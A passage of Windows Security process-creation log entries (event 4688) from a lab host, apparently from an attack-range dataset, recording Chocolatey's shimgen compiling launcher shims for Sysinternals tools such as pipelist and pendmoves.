enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246654 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x488 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x824 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246653 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x824 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pipelist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246652 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246651 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pipelist.exe" --output="C:\ProgramData\chocolatey\bin\pipelist.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pipelist.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246650 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE5E6.tmp" "c:\ProgramData\chocolatey\bin\CSC6F8B23CD7E9A4F029317ACD01BCC69F4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246649 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pendmoves64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246647 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246646 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pendmoves64.exe" --output="C:\ProgramData\chocolatey\bin\pendmoves64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pendmoves64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246645 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe90 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE50B.tmp" "c:\ProgramData\chocolatey\bin\CSC74328BCCD8F47F49A925387A5DCC65D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246644 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xddc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe90 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246643 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pendmoves.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246642 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246641 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pendmoves.exe" --output="C:\ProgramData\chocolatey\bin\pendmoves.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pendmoves.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246640 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xafc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE431.tmp" "c:\ProgramData\chocolatey\bin\CSC9E96C0F2D4654FB3A466F5E7E47E51E6.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246639 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x538 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xafc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246638 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pagedfrg.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: 